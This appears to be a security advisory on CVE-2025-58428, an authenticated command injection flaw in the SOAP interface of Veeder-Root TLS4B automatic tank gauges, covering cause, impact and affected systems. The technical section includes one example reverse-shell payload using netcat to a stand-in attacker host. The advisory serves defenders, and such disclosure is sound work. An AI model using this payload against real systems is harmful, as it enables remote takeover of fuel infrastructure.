Introduction
Attackers with valid credentials can remotely execute arbitrary system commands on Veeder-Root TLS4B Automatic Tank Gauge systems. From there, they may gain full shell access and move laterally within critical infrastructure networks. The vulnerability is tracked as CVE-2025-58428 and rated CVSS 9.9. It exposes fuel monitoring and management systems in sectors such as energy, transportation, and defense to significant operational and security risk.
About Veeder-Root and TLS4B: Veeder-Root is a leading vendor of automatic tank gauges, with over a century in the industry and more than half a million systems deployed worldwide. The TLS4B is its flagship product, used for real-time fuel inventory, leak detection, and compliance at gas stations, airports, and other critical sites. Because the TLS4B is so widely deployed and integrated with facility networks, a vulnerability in it has outsized impact.
Technical Information
CVE-2025-58428 is a command injection flaw in the SOAP-based web services interface of the Veeder-Root TLS4B. The web services handler takes user-supplied input from SOAP requests and passes it to shell execution functions on the underlying Linux OS without proper sanitization. It does not neutralize shell metacharacters such as semicolons (;), pipes (|), and ampersands (&), so an attacker can append arbitrary commands to the intended input.
The root cause matches CWE-77 (Improper Neutralization of Special Elements used in a Command). An attacker needs valid credentials and network access to the SOAP interface. With those, a crafted SOAP request can inject payloads that break out of the intended command context. For example, an attacker could append ; nc attacker.com 4444 -e /bin/bash to get a reverse shell, or use similar payloads to exfiltrate data or manipulate the system. The web services process may run with elevated privileges, which would raise the risk of full system compromise.
No public code snippets or exploit scripts are available at this time. The vulnerability is confirmed to affect the SOAP interface and requires authentication. Even so, the attack surface is significant, because many ATG systems are exposed to the internet and poorly segmented.
Affected Systems and Versions
- Product: Veeder-Root TLS4B Automatic Tank Gauge
- Vulnerable component: SOAP-based web services interface
- Underlying OS: Linux
- Specific affected versions: Not explicitly listed in public sources as of publication. Until the vendor confirms the affected versions, consider every currently supported, internet-connected TLS4B system with the SOAP interface enabled to be at risk.
- Vulnerable configuration: Systems with a network-accessible SOAP interface, exploitable by an attacker with valid credentials
Vendor Security History
Veeder-Root has a history of security issues in its ATG product lines, including legacy protocol weaknesses and web interface vulnerabilities. Previous research (see Bitsight, CISA, and Dark Reading) has documented insecure default configurations, weak authentication, and missing input validation in both legacy and modern ATG systems. The vendor has published network security reminders and configuration guides. Still, widespread internet exposure and legacy design choices have left many systems vulnerable. Patch response times have improved in recent years, but the operational constraints of critical infrastructure environments complicate remediation.
